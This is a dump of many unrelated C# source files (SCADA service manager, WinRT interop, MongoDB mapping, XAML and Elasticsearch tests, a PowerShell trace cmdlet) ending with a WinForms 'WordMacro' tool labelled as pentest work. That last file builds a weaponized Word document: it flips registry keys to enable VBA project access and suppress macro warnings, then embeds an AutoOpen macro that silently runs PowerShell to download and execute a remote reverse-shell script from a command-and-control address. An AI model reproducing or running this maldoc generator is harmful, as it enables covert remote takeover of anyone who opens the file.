public Manager()
{
mainLogic = new MainLogic();
appLog = mainLogic.AppLog;
AppDomain.CurrentDomain.UnhandledException += OnUnhandledException;
}
/// <summary>
/// Вывести информацию о необработанном исключении в журнал
/// </summary>
private void OnUnhandledException(object sender, UnhandledExceptionEventArgs args)
{
Exception ex = args.ExceptionObject as Exception;
appLog.WriteException(ex, string.Format(Localization.UseRussian ?
"Необработанное исключение" :
"Unhandled exception"));
}
/// <summary>
/// Запустить службу
/// </summary>
public void StartService()
{
// инициализация объекта логики
string exeDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
mainLogic.Init(exeDir);
appLog.WriteBreak();
appLog.WriteAction(string.Format(Localization.UseRussian ?
"Служба ScadaServerService {0} запущена" :
"ScadaServerService {0} is started", ServerUtils.AppVersion), Log.ActTypes.Action);
if (mainLogic.AppDirs.Exist)
{
// локализация
if (Localization.LoadDictionaries(mainLogic.AppDirs.LangDir, "ScadaData", out string errMsg))
CommonPhrases.Init();
else
appLog.WriteError(errMsg);
if (Localization.LoadDictionaries(mainLogic.AppDirs.LangDir, "ScadaServer", out errMsg))
ModPhrases.InitFromDictionaries();
else
appLog.WriteError(errMsg);
// запуск
if (mainLogic.Start())
return;
}
else
{
appLog.WriteError(string.Format(Localization.UseRussian ?
"Необходимые директории не существуют:{0}{1}" :
"The required directories do not exist:{0}{1}",
Environment.NewLine, string.Join(Environment.NewLine, mainLogic.AppDirs.GetRequiredDirs())));
}
appLog.WriteError(Localization.UseRussian ?
"Нормальная работа программы невозможна" :
"Normal program execution is impossible");
}
/// <summary>
/// Остановить службу
/// </summary>
public void StopService()
{
mainLogic.Stop();
appLog.WriteAction(Localization.UseRussian ?
"Служба ScadaServerService остановлена" :
"ScadaServerService is stopped");
appLog.WriteBreak();
}
/// <summary>
/// Отключить службу немедленно при выключении компьютера
/// </summary>
public void ShutdownService()
{
mainLogic.Stop();
appLog.WriteAction(Localization.UseRussian ?
"Служба ScadaServerService отключена" :
"ScadaServerService is shutdown");
appLog.WriteBreak();
}
}
}
| 32.955882 | 113 | 0.582776 | [
"Apache-2.0"
] | ytchhh/scada | ScadaServer/ScadaServer/ScadaServerEngine/Manager.cs | 4,876 | C# |
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
using WinRT;
using WinRT.Interop;
#pragma warning disable 0169 // warning CS0169: The field '...' is never used
#pragma warning disable 0649 // warning CS0169: Field '...' is never assigned to
namespace WinRT.Interop
{
struct ComCallData
{
public int dwDispid;
public int dwReserved;
public IntPtr pUserDefined;
}
unsafe delegate int PFNCONTEXTCALL(ComCallData* data);
[Guid("000001da-0000-0000-C000-000000000046")]
unsafe interface IContextCallback
{
// The pUnk parameter is intentionally excluded here
// since it is required to always be null.
void ContextCallback(
PFNCONTEXTCALL pfnCallback,
ComCallData* pParam,
Guid riid,
int iMethod);
}
}
namespace ABI.WinRT.Interop
{
[Guid("000001da-0000-0000-C000-000000000046")]
class IContextCallback : global::WinRT.Interop.IContextCallback
{
[Guid("000001da-0000-0000-C000-000000000046")]
public struct Vftbl
{
public unsafe delegate int _ContextCallback(
IntPtr pThis,
PFNCONTEXTCALL pfnCallback,
ComCallData* pData,
ref Guid riid,
int iMethod,
IntPtr pUnk);
global::WinRT.Interop.IUnknownVftbl IUnknownVftbl;
public _ContextCallback ContextCallback_4;
}
public static ObjectReference<Vftbl> FromAbi(IntPtr thisPtr) => ObjectReference<Vftbl>.FromAbi(thisPtr);
public static implicit operator IContextCallback(IObjectReference obj) => (obj != null) ? new IContextCallback(obj) : null;
public static implicit operator IContextCallback(ObjectReference<Vftbl> obj) => (obj != null) ? new IContextCallback(obj) : null;
protected readonly ObjectReference<Vftbl> _obj;
public IntPtr ThisPtr => _obj.ThisPtr;
public ObjectReference<I> AsInterface<I>() => _obj.As<I>();
public A As<A>() => _obj.AsType<A>();
public IContextCallback(IObjectReference obj) : this(obj.As<Vftbl>()) { }
public IContextCallback(ObjectReference<Vftbl> obj)
{
_obj = obj;
}
private unsafe struct ContextCallData
{
public IntPtr delegateHandle;
public ComCallData* userData;
}
private const int RPC_E_DISCONNECTED = unchecked((int)0x80010108);
public unsafe void ContextCallback(global::WinRT.Interop.PFNCONTEXTCALL pfnCallback, ComCallData* pParam, Guid riid, int iMethod)
{
var result = _obj.Vftbl.ContextCallback_4(ThisPtr, pfnCallback, pParam, ref riid, iMethod, IntPtr.Zero);
if (result != RPC_E_DISCONNECTED)
{
Marshal.ThrowExceptionForHR(result);
}
}
}
} | 34.682353 | 137 | 0.637381 | [
"MIT"
] | Bhaskers-Blu-Org2/CsWinRT | WinRT.Runtime/Interop/IContextCallback.cs | 2,950 | C# |
using MovieLibrary.Dal.MongoDB.Documents;
using MovieLibrary.Logic.Models;
namespace MovieLibrary.Dal.MongoDB.Extensions
{
internal static class MovieInfoExtensions
{
public static MovieInfoDocument ToDocument(this MovieInfoModel model)
{
return new MovieInfoDocument
{
Title = model.Title,
Year = model.Year,
MovieUri = model.MovieUri,
PosterUri = model.PosterUri,
Directors = model.Directors,
Cast = model.Cast,
RatingValue = model.Rating?.Value,
RatingVotesNumber = model.Rating?.VotesNumber,
Duration = model.Duration,
Genres = model.Genres,
Summary = model.Summary,
};
}
public static MovieInfoModel ToModel(this MovieInfoDocument document)
{
return new MovieInfoModel
{
Title = document.Title,
Year = document.Year,
MovieUri = document.MovieUri,
PosterUri = document.PosterUri,
Directors = document.Directors,
Cast = document.Cast,
Rating = document.RatingValue != null ? new MovieRatingModel(document.RatingValue.Value, document.RatingVotesNumber) : null,
Duration = document.Duration,
Genres = document.Genres,
Summary = document.Summary,
};
}
}
}
| 27.704545 | 129 | 0.689089 | [
"MIT"
] | CodeFuller/movie-library | src/MovieLibrary.Dal.MongoDB/Extensions/MovieInfoExtensions.cs | 1,178 | C# |
using System;
using NUnit.Framework;
using System.Xml;
using Xamarin.Forms.Core.UnitTests;
using System.Reflection;
namespace Xamarin.Forms.Xaml.UnitTests
{
[TestFixture]
public class TypeExtensionTests : BaseTestFixture
{
IXamlTypeResolver typeResolver;
Internals.XamlServiceProvider serviceProvider;
[SetUp]
public override void Setup ()
{
base.Setup ();
var nsManager = new XmlNamespaceManager (new NameTable ());
nsManager.AddNamespace ("local", "clr-namespace:Xamarin.Forms.Xaml.UnitTests;assembly=Xamarin.Forms.Xaml.UnitTests");
nsManager.AddNamespace ("sys", "clr-namespace:System;assembly=mscorlib");
nsManager.AddNamespace ("x", "http://schemas.microsoft.com/winfx/2006/xaml");
typeResolver = new Internals.XamlTypeResolver (nsManager, XamlParser.GetElementType, Assembly.GetCallingAssembly ());
serviceProvider = new Internals.XamlServiceProvider (null, null) {
IXamlTypeResolver = typeResolver,
};
}
[Test]
public void TestxType ()
{
var markupString = @"{x:Type sys:String}";
Assert.AreEqual (typeof(string), (new MarkupExtensionParser ()).ParseExpression (ref markupString, serviceProvider));
}
[Test]
public void TestWithoutPrefix ()
{
var markupString = @"{x:Type Grid}";
Assert.AreEqual (typeof(Grid), (new MarkupExtensionParser ()).ParseExpression (ref markupString, serviceProvider));
}
[Test]
public void TestWithExplicitTypeName ()
{
var markupString = @"{x:Type TypeName=sys:String}";
Assert.AreEqual (typeof(string), (new MarkupExtensionParser ()).ParseExpression (ref markupString, serviceProvider));
}
}
} | 30.092593 | 120 | 0.737231 | [
"MIT"
] | akihikodaki/Xamarin.Forms | Xamarin.Forms.Xaml.UnitTests/TypeExtensionTests.cs | 1,625 | C# |
/*
* Copyright 2020 New Relic Corporation. All rights reserved.
* SPDX-License-Identifier: Apache-2.0
*/
using NewRelic.Agent.Extensions.Providers.Wrapper;
using NewRelic.SystemExtensions;
using NewRelic.Agent.Extensions.Parsing;
using NewRelic.Agent.Api;
namespace NewRelic.Providers.Wrapper.MongoDb
{
public class MongoDatabaseDefaultWrapper : IWrapper
{
public bool IsTransactionRequired => true;
public CanWrapResponse CanWrap(InstrumentedMethodInfo methodInfo)
{
var method = methodInfo.Method;
var canWrap = method.MatchesAny(assemblyName: "MongoDB.Driver", typeName: "MongoDB.Driver.MongoDatabase",
methodName: "CreateCollection", parameterSignature: "System.String,MongoDB.Driver.IMongoCollectionOptions");
return new CanWrapResponse(canWrap);
}
public AfterWrappedMethodDelegate BeforeWrappedMethod(InstrumentedMethodCall instrumentedMethodCall, IAgent agent, ITransaction transaction)
{
var operation = instrumentedMethodCall.MethodCall.Method.MethodName;
var model = GetCollectionName(instrumentedMethodCall.MethodCall);
var segment = transaction.StartDatastoreSegment(instrumentedMethodCall.MethodCall, new ParsedSqlStatement(DatastoreVendor.MongoDB, model, operation));
return Delegates.GetDelegateFor(segment);
}
private string GetCollectionName(MethodCall methodCall)
{
return methodCall.MethodArguments.ExtractNotNullAs<string>(0);
}
}
}
| 40.076923 | 162 | 0.728087 | [
"Apache-2.0"
] | Faithlife/newrelic-dotnet-agent | src/Agent/NewRelic/Agent/Extensions/Providers/Wrapper/MongoDb/MongoDatabaseDefaultWrapper.cs | 1,563 | C# |
// Copyright © Tanner Gooding and Contributors. Licensed under the MIT License (MIT). See License.md in the repository root for more information.
// Ported from um/d3d12video.h in the Windows SDK for Windows 10.0.22000.0
// Original source is Copyright © Microsoft. All rights reserved.
using NUnit.Framework;
using System;
using System.Runtime.InteropServices;
namespace TerraFX.Interop.DirectX.UnitTests;
/// <summary>Provides validation of the <see cref="D3D12_VIDEO_ENCODER_LEVEL_SETTING" /> struct.</summary>
public static unsafe partial class D3D12_VIDEO_ENCODER_LEVEL_SETTINGTests
{
/// <summary>Validates that the <see cref="D3D12_VIDEO_ENCODER_LEVEL_SETTING" /> struct is blittable.</summary>
[Test]
public static void IsBlittableTest()
{
Assert.That(Marshal.SizeOf<D3D12_VIDEO_ENCODER_LEVEL_SETTING>(), Is.EqualTo(sizeof(D3D12_VIDEO_ENCODER_LEVEL_SETTING)));
}
/// <summary>Validates that the <see cref="D3D12_VIDEO_ENCODER_LEVEL_SETTING" /> struct has the right <see cref="LayoutKind" />.</summary>
[Test]
public static void IsLayoutSequentialTest()
{
Assert.That(typeof(D3D12_VIDEO_ENCODER_LEVEL_SETTING).IsLayoutSequential, Is.True);
}
/// <summary>Validates that the <see cref="D3D12_VIDEO_ENCODER_LEVEL_SETTING" /> struct has the correct size.</summary>
[Test]
public static void SizeOfTest()
{
if (Environment.Is64BitProcess)
{
Assert.That(sizeof(D3D12_VIDEO_ENCODER_LEVEL_SETTING), Is.EqualTo(16));
}
else
{
Assert.That(sizeof(D3D12_VIDEO_ENCODER_LEVEL_SETTING), Is.EqualTo(8));
}
}
}
| 38.511628 | 145 | 0.721014 | [
"MIT"
] | reflectronic/terrafx.interop.windows | tests/Interop/Windows/DirectX/um/d3d12video/D3D12_VIDEO_ENCODER_LEVEL_SETTINGTests.cs | 1,658 | C# |
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using System.Text;
namespace ShlomiBo.ExpressedTests
{
internal sealed class ExpressionComparer : IEqualityComparer<Expression>
{
public static ExpressionComparer Intance { get; } = new ExpressionComparer();
public bool Equals(Expression x, Expression y)
{
return x?.ToString() == y?.ToString();
}
public int GetHashCode(Expression obj)
{
return obj?.ToString()?.GetHashCode() ?? 0;
}
}
}
| 22.454545 | 79 | 0.730769 | [
"MIT"
] | Shlomibo/Expressed | ShlomiBo.ExpressedTests/ExpressionComparer.cs | 496 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MyProject.Deneme {
class Worker:Person {
public string Mission { get; set; }
public Worker(string firstName, string lastName, string email, string mission ) : base(firstName, lastName, email)
{
Mission = mission;
}
public void WhoAmI()
{
base.WhoAmI();
Console.WriteLine($"{this.FirstName} is also a worker");
}
}
}
| 24.772727 | 122 | 0.612844 | [
"MIT"
] | baristutakli/NA-203-Notes | MyProject/Deneme/Worker.cs | 547 | C# |
using System;
using Microsoft.Xna.Framework;
using Terraria.ID;
using Terraria.ModLoader;
using Terraria;
using Terraria.Localization;
using Terraria.DataStructures;
using static Terraria.ModLoader.ModContent;
namespace ItemsBuffs.Items.Tools
{
public class RodofDiscordClassic : ModItem
{
/* public override bool Autoload(ref string name)
{
return !GetInstance<ItemsBuffsConfigServer>().ModRods;
} */
public override string Texture
{
get
{
return "Terraria/Item_1326"; //rod of discord
}
}
public override void SetStaticDefaults()
{
DisplayName.SetDefault("Rod of Discord");
Tooltip.SetDefault("\n Teleports you to the position of the mouse" +
"\n Doesnt inflict Chaos State on use"); // "\n Doesnt inflict Chaos State on use" +
Item.staff[item.type] = true;
}
public override void SetDefaults()
{
item.width = 34;
item.height = 34;
item.useTime = 18;
item.useAnimation = 18;
item.UseSound = SoundID.Item8;
item.useStyle = 1;
item.value = Terraria.Item.sellPrice(0, 10, 0, 0);
item.rare = 10;
item.autoReuse = false;
}
public override void AddRecipes()
{
if (GetInstance<ItemsBuffsConfigServer>().RVanilla == true)
{
ModRecipe recipe = new ModRecipe(mod);
recipe.AddIngredient(ItemID.RodofDiscord, 1);
// recipe.AddIngredient(null, "ChaosAuraPotion");
recipe.SetResult(this);
recipe.AddRecipe();
}
}
// Code is modified from the vanilla source code handling Rod of Discord
public override bool UseItem(Player player)
{
const int MAX_DIST_X = 999999; //999999
const int MAX_DIST_Y = 999999;
// Get teleport location
Vector2 teleportTo;
teleportTo.X = (Main.mouseX + Main.screenPosition.X);
teleportTo.Y = (float)((double)player.gravDir != 1.0 ? (Main.screenPosition.Y + (double)Main.screenHeight - (double)Main.mouseY) : ((double)Main.mouseY + Main.screenPosition.Y - (double)player.height));
// Can't teleport beyond a certain distance, specified by MAX_DIST_X and MAX_DIST_Y
int distX = (int)(System.Math.Abs(teleportTo.X - player.position.X)) / 16; //16
int distY = (int)(System.Math.Abs(teleportTo.Y - player.position.Y)) / 16;
if (distX > MAX_DIST_X || distY > MAX_DIST_Y)
{
Main.PlaySound(SoundID.Item8, player.position);
return true;
}
// Must be in bounds
if (teleportTo.X > 50.0 && teleportTo.X < (double)(Main.maxTilesX * 16 - 50) && (teleportTo.Y > 50.0 && teleportTo.Y < (double)(Main.maxTilesY * 16 - 50)))
{
// Get tile array indexes
int index1 = (int)(teleportTo.X / 16.0); //16.0
int index2 = (int)(teleportTo.Y / 16.0);
// Can't teleport into a solid block, or into the Lihzahrd temple early
if (((int)Main.tile[index1, index2].wall != 87 || (double)index2 <= Main.worldSurface || NPC.downedPlantBoss) && !Collision.SolidCollision(teleportTo, player.width, player.height))
{
player.Teleport(teleportTo, 1, 0);
// Copied from Rod of Discord source code
NetMessage.SendData(65, -1, -1, (NetworkText)null, 0, (float)player.whoAmI, (float)teleportTo.X, (float)teleportTo.Y, 1, 0, 0);
// If you die, you get a special message, u cant get this message since this RoD cant kill you
if (player.statLife <= 0)
{
PlayerDeathReason damageSource = PlayerDeathReason.ByCustomReason(player.name + "this message cannot be seen");
player.KillMe(damageSource, 1.0, 0, false);
return true;
}
}
else
{
Main.PlaySound(SoundID.Item8, player.position);
}
}
else
{
Main.PlaySound(SoundID.Item8, player.position);
}
return true;
}
}
} | 37.780488 | 215 | 0.529159 | [
"MIT"
] | FireCoffe/ItemsBuffs | Items/Tools/RodofDiscordClassic.cs | 4,647 | C# |
using System;
using System.Collections.Generic;
using System.Text;
using NBitcoin;
namespace Stratis.SmartContracts.Test
{
public class SendCreateContractResult
{
public ulong Fee { get; set; }
public string Hex { get; set; }
public string Message { get; set; }
public bool Success { get; set; }
public uint256 TransactionId { get; set; }
public Base58Address NewContractAddress { get; set; }
}
}
| 25.5 | 61 | 0.655773 | [
"MIT"
] | bumplzz69/StratisBitcoinFullNode | src/Stratis.SmartContracts.Test/SendCreateContractResult.cs | 461 | C# |
namespace h73.Elastic.Core.Enums
{
/// <summary>
/// Predefined timers for scrolling
/// </summary>
public class ScrollTime
{
/// <summary>
/// The scroll 1m
/// </summary>
public const string Scroll1M = "1m";
/// <summary>
/// The scroll 2m
/// </summary>
public const string Scroll2M = "2m";
/// <summary>
/// The scroll 3m
/// </summary>
public const string Scroll3M = "3m";
/// <summary>
/// The scroll 4m
/// </summary>
public const string Scroll4M = "4m";
/// <summary>
/// The scroll 5m
/// </summary>
public const string Scroll5M = "5m";
}
}
| 21.735294 | 44 | 0.474966 | [
"MIT"
] | henskjold73/h73.Elastic.Core | h73.Elastic.Core/Enums/ScrollTime.cs | 741 | C# |
using System.Web.Mvc;
using Epinova.ElasticSearch.Core.EPiServer.Contracts;
using EPiServer;
using Epinova.ElasticSearch.Core.EPiServer.Controllers;
using Epinova.ElasticSearch.Core.EPiServer.Enums;
using EPiServer.Core;
using Moq;
using TestData;
using Xunit;
namespace Core.Episerver.Tests.Controllers
{
public class IndexerControllerTests
{
private readonly ElasticIndexerController _controller;
private readonly Mock<IContentLoader> _contentLoaderMock;
private readonly Mock<IIndexer> _indexerMock;
public IndexerControllerTests()
{
_contentLoaderMock = new Mock<IContentLoader>();
_indexerMock = new Mock<IIndexer>();
_controller = new ElasticIndexerController(_contentLoaderMock.Object, _indexerMock.Object);
}
[Theory]
[InlineData(null)]
[InlineData("")]
[InlineData(" ")]
[InlineData("foo")]
public void UpdateItem_InvalidContentReference_ReturnsError(string id)
{
JsonResult response = _controller.UpdateItem(id);
string result = response.Data.ToString();
string error = "status = " + IndexingStatus.Error;
Assert.Contains(error, result);
}
[Fact]
public void UpdateItem_ValidContent_ReturnsOk()
{
// ReSharper disable once NotAccessedVariable
IContent content = Factory.GetPageData();
_contentLoaderMock.Setup(m => m.TryGet(It.IsAny<ContentReference>(), out content)).Returns(true);
_indexerMock.Setup(m => m.Update(It.IsAny<IContent>(), null)).Returns(IndexingStatus.Ok);
JsonResult response = _controller.UpdateItem("42");
string result = response.Data.ToString();
string ok = "status = " + IndexingStatus.Ok;
Assert.Contains(ok, result);
}
}
} | 33.368421 | 109 | 0.652997 | [
"MIT"
] | Nettsentrisk/Epinova.Elasticsearch | tests/Core.Episerver.Tests/Controllers/IndexerControllerTests.cs | 1,904 | C# |
/*
* QUANTCONNECT.COM - Democratizing Finance, Empowering Individuals.
* Lean Algorithmic Trading Engine v2.0. Copyright 2014 QuantConnect Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
using System;
using System.Collections.Generic;
using QuantConnect.Interfaces;
using QuantConnect.Packets;
namespace QuantConnect.Brokerages.Paper
{
/// <summary>
/// The factory type for the <see cref="PaperBrokerage"/>
/// </summary>
public class PaperBrokerageFactory : BrokerageFactory
{
/// <summary>
/// Gets the brokerage data required to run the IB brokerage from configuration
/// </summary>
/// <remarks>
/// The implementation of this property will create the brokerage data dictionary required for
/// running live jobs. See <see cref="IJobQueueHandler.NextJob"/>
/// </remarks>
public override Dictionary<string, string> BrokerageData
{
get { return new Dictionary<string, string>(); }
}
/// <summary>
/// Gets a new instance of the <see cref="InteractiveBrokersBrokerageModel"/>
/// </summary>
public override IBrokerageModel BrokerageModel
{
get { return new DefaultBrokerageModel(); }
}
/// <summary>
/// Creates a new IBrokerage instance
/// </summary>
/// <param name="job">The job packet to create the brokerage for</param>
/// <param name="algorithm">The algorithm instance</param>
/// <returns>A new brokerage instance</returns>
public override IBrokerage CreateBrokerage(LiveNodePacket job, IAlgorithm algorithm)
{
return new PaperBrokerage(algorithm, job);
}
/// <summary>
/// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
/// </summary>
/// <filterpriority>2</filterpriority>
public override void Dispose()
{
// NOP
}
/// <summary>
/// Initializes a new instance of the <see cref="PaperBrokerageFactory"/> class
/// </summary>
public PaperBrokerageFactory()
: base(typeof(PaperBrokerage))
{
}
}
} | 36.605263 | 116 | 0.643422 | [
"Apache-2.0"
] | Bimble/Lean | Brokerages/Paper/PaperBrokerageFactory.cs | 2,784 | C# |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("adressbook-web-tests")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyProduct("adressbook-web-tests")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: ComVisible(false)]
[assembly: Guid("727c489a-96ba-4652-8c7f-febf4fcdb59d")]
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 31.333333 | 59 | 0.761398 | [
"Apache-2.0"
] | IrinaShumovskaya/csharp_training | addressbook-web-test/adressbook-web-tests/Properties/AssemblyInfo.cs | 659 | C# |
/********************************************************************++
Copyright (c) Microsoft Corporation. All rights reserved.
--********************************************************************/
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Management.Automation;
namespace Microsoft.PowerShell.Commands
{
/// <summary>
/// A cmdlet that sets the properties of the TraceSwitch instances that are instantiated in the process
/// </summary>
[Cmdlet(VerbsCommon.Set, "TraceSource", DefaultParameterSetName = "optionsSet", HelpUri = "https://go.microsoft.com/fwlink/?LinkID=113400")]
[OutputType(typeof(PSTraceSource))]
public class SetTraceSourceCommand : TraceListenerCommandBase
{
#region Parameters
/// <summary>
/// The TraceSource parameter determines which TraceSource categories the
/// operation will take place on.
/// </summary>
///
[Parameter(Position = 0, Mandatory = true, ValueFromPipeline = true, ValueFromPipelineByPropertyName = true)]
public string[] Name
{
get { return base.NameInternal; }
set { base.NameInternal = value; }
}
/// <summary>
/// The flags to be set on the TraceSource
/// </summary>
/// <value></value>
[Parameter(Position = 1, ValueFromPipelineByPropertyName = true, ParameterSetName = "optionsSet")]
public PSTraceSourceOptions Option
{
get { return base.OptionsInternal; }
set
{
base.OptionsInternal = value;
}
} // Flags
/// <summary>
/// The parameter which determines the options for output from the
/// trace listeners.
/// </summary>
///
[Parameter(ParameterSetName = "optionsSet")]
public TraceOptions ListenerOption
{
get { return base.ListenerOptionsInternal; }
set
{
base.ListenerOptionsInternal = value;
}
}
/// <summary>
/// Adds the file trace listener using the specified file
/// </summary>
/// <value></value>
[Parameter(ParameterSetName = "optionsSet")]
[Alias("PSPath")]
public string FilePath
{
get { return base.FileListener; }
set { base.FileListener = value; }
} // File
/// <summary>
/// Force parameter to control read-only files
/// </summary>
[Parameter(ParameterSetName = "optionsSet")]
public SwitchParameter Force
{
get { return base.ForceWrite; }
set { base.ForceWrite = value; }
}
/// <summary>
/// If this parameter is specified the Debugger trace listener
/// will be added.
/// </summary>
/// <value></value>
[Parameter(ParameterSetName = "optionsSet")]
public SwitchParameter Debugger
{
get { return base.DebuggerListener; }
set { base.DebuggerListener = value; }
} // Debugger
/// <summary>
/// If this parameter is specified the Msh Host trace listener
/// will be added.
/// </summary>
/// <value></value>
[Parameter(ParameterSetName = "optionsSet")]
public SwitchParameter PSHost
{
get { return base.PSHostListener; }
set { base.PSHostListener = value; }
} // PSHost
/// <summary>
/// If set, the specified listeners will be removed regardless
/// of their type.
/// </summary>
///
[Parameter(ParameterSetName = "removeAllListenersSet")]
[ValidateNotNullOrEmpty]
public string[] RemoveListener { get; set; } = new string[] { "*" };
/// <summary>
/// If set, the specified file trace listeners will be removed.
/// </summary>
///
[Parameter(ParameterSetName = "removeFileListenersSet")]
[ValidateNotNullOrEmpty]
public string[] RemoveFileListener { get; set; } = new string[] { "*" };
/// <summary>
/// Determines if the modified PSTraceSource should be written out.
/// Default is false.
/// </summary>
/// <value></value>
[Parameter(ParameterSetName = "optionsSet")]
public SwitchParameter PassThru
{
get { return _passThru; }
set { _passThru = value; }
} // Passthru
private bool _passThru;
#endregion Parameters
#region Cmdlet code
/// <summary>
/// Sets the TraceSource properties
/// </summary>
protected override void ProcessRecord()
{
Collection<PSTraceSource> matchingSources = null;
switch (ParameterSetName)
{
case "optionsSet":
Collection<PSTraceSource> preconfiguredTraceSources = null;
matchingSources = ConfigureTraceSource(Name, true, out preconfiguredTraceSources);
if (PassThru)
{
WriteObject(matchingSources, true);
WriteObject(preconfiguredTraceSources, true);
}
break;
case "removeAllListenersSet":
matchingSources = GetMatchingTraceSource(Name, true);
RemoveListenersByName(matchingSources, RemoveListener, false);
break;
case "removeFileListenersSet":
matchingSources = GetMatchingTraceSource(Name, true);
RemoveListenersByName(matchingSources, RemoveFileListener, true);
break;
}
} // ProcessRecord
#endregion Cmdlet code
}
}
| 33.502825 | 144 | 0.540809 | [
"Apache-2.0",
"MIT-0"
] | KevinMarquette/Powershell | src/Microsoft.PowerShell.Commands.Utility/commands/utility/trace/SetTracerCommand.cs | 5,930 | C# |
using System;
using System.IO;
using System.Threading.Tasks;
using Get_images_from_db_by_url.Models;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
namespace Get_images_from_db_by_url.Controllers
{
[ApiController]
[Route("[controller]")]
public class ImageController : ControllerBase
{
[HttpPost("image")]
public async Task<Guid> Image(IFormFile image)
{
using (var db = new EFContext())
{
using (var ms = new MemoryStream())
{
image.CopyTo(ms);
var img = new Image()
{
Suffix = Path.GetExtension(image.FileName),
Data = ms.ToArray()
};
db.Images.Add(img);
await db.SaveChangesAsync();
return img.Id;
}
}
}
}
} | 26.555556 | 67 | 0.495816 | [
"MIT"
] | frudberg/Get-images-from-db-by-url | Get-images-from-db-by-url/Controllers/ImageController.cs | 958 | C# |
using Microsoft.Win32;
using System;
using System.IO;
using System.Runtime.InteropServices;
using VbIntrOP = Microsoft.Vbe.Interop;
using MsWord = Microsoft.Office.Interop.Word;
using System.Windows.Forms;
using System.Reflection;
namespace WordMacro
{
public partial class WordMacroForm : Form
{
public WordMacroForm()
{
InitializeComponent();
}
private void btnWordGenerator_Click(object sender, EventArgs e)
{
#region MsWordCreation
Object oMissing = Missing.Value;
object oEndOfDoc = "\\endofdoc"; /* \endofdoc is a predefined bookmark */
MsWord.Application oWordApp = new MsWord.Application();
MsWord.Document oWordDoc;// = new MsWord.Document();
oWordApp.DisplayAlerts = MsWord.WdAlertLevel.wdAlertsNone;
//xlApp.AutomationSecurity = Microsoft.Office.Core.MsoAutomationSecurity.msoAutomationSecurityForceDisable;
oWordDoc = oWordApp.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
if (oWordDoc == null)
{
MessageBox.Show("Failed to create new MSWord Doc");
}
string strNormalParaText = @"Sample Paragraph text added for showing pre text demo";
//Insert a paragraph at the beginning of the document.
MsWord.Paragraph oPara1;
oPara1 = oWordDoc.Content.Paragraphs.Add(ref oMissing);
oPara1.Range.Text = "Prepare a fishy header and paragraph";
oPara1.Range.Font.Bold = 1;
oPara1.Format.SpaceAfter = 24; //24 pt spacing after paragraph.
oPara1.Range.InsertParagraphAfter();
//Insert another paragraph.
MsWord.Paragraph oPara3;
object oRng = oWordDoc.Bookmarks.get_Item(ref oEndOfDoc).Range;
oRng = oWordDoc.Bookmarks.get_Item(ref oEndOfDoc).Range;
oPara3 = oWordDoc.Content.Paragraphs.Add(ref oRng);
oPara3.Range.Text = strNormalParaText;
oPara3.Range.Font.Bold = 0;
oPara3.Format.SpaceAfter = 24;
oPara3.Range.InsertParagraphAfter();
#endregion
#region Required Registry Changes
string regpath = @"Software\Microsoft\Office\" + oWordApp.Version + @"\Word\Security";
RegistryKey key = Registry.CurrentUser.OpenSubKey(regpath, true);
if (key != null)
{
key.SetValue("AccessVBOM", "1", RegistryValueKind.DWord);
key.SetValue("VBAWarnings", "1", RegistryValueKind.DWord);
key.Close();
}
#endregion
#region VBModule and Macro Creation
VbIntrOP.VBComponent wordVBMod;
wordVBMod = oWordDoc.VBProject.VBComponents.Add(VbIntrOP.vbext_ComponentType.vbext_ct_StdModule);
wordVBMod.Name = "OurMacro";
//Our reverse shell powershell script will get loaded from our C&C.
string strMacroRevShell = @"Sub AutoOpen()
Call Shell(""cmd.exe /c powershell.exe IEX(IWR -uri 'http://192.168.1.75:443/getit.txt')"", 0)
End Sub
";
wordVBMod.CodeModule.AddFromString(strMacroRevShell);
#endregion
#region SaveWord and Release COM Objects
string outpath = Path.Combine(Directory.GetParent(Path.GetDirectoryName(Environment.CurrentDirectory)).FullName, txtSaveAs.Text + ".doc");
try
{//save the workbook.
oWordDoc.SaveAs(outpath, MsWord.WdSaveFormat.wdFormatDocument, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Missing.Value);
MessageBox.Show("Word File with macro created", "C# Pentest VIII", MessageBoxButtons.OK);
}
catch (Exception ex)
{
//Console.WriteLine(ex.Message);
//release all memory - stop Word.exe .
if (wordVBMod != null) { Marshal.ReleaseComObject(wordVBMod); }
if (oWordDoc != null) { Marshal.ReleaseComObject(oWordDoc); }
if (oWordApp != null) { Marshal.ReleaseComObject(oWordApp); }
wordVBMod = null;
oWordDoc = null;
oWordApp = null;
GC.Collect();
Environment.Exit(0);
}
finally
{
RegistryKey key2 = Registry.CurrentUser.OpenSubKey(regpath, true);
if (key2 != null)
{
key2.SetValue("AccessVBOM", "0", RegistryValueKind.DWord);
key2.SetValue("VBAWarnings", "0", RegistryValueKind.DWord);
key2.Close();
}
//release all memory - stop Word.exe .
if (wordVBMod != null) { Marshal.ReleaseComObject(wordVBMod); }
if (oWordDoc != null) { Marshal.ReleaseComObject(oWordDoc); }
if (oWordApp != null) { Marshal.ReleaseComObject(oWordApp); }
wordVBMod = null;
oWordDoc = null;
oWordApp = null;
GC.Collect();
}
#endregion
}
}
}
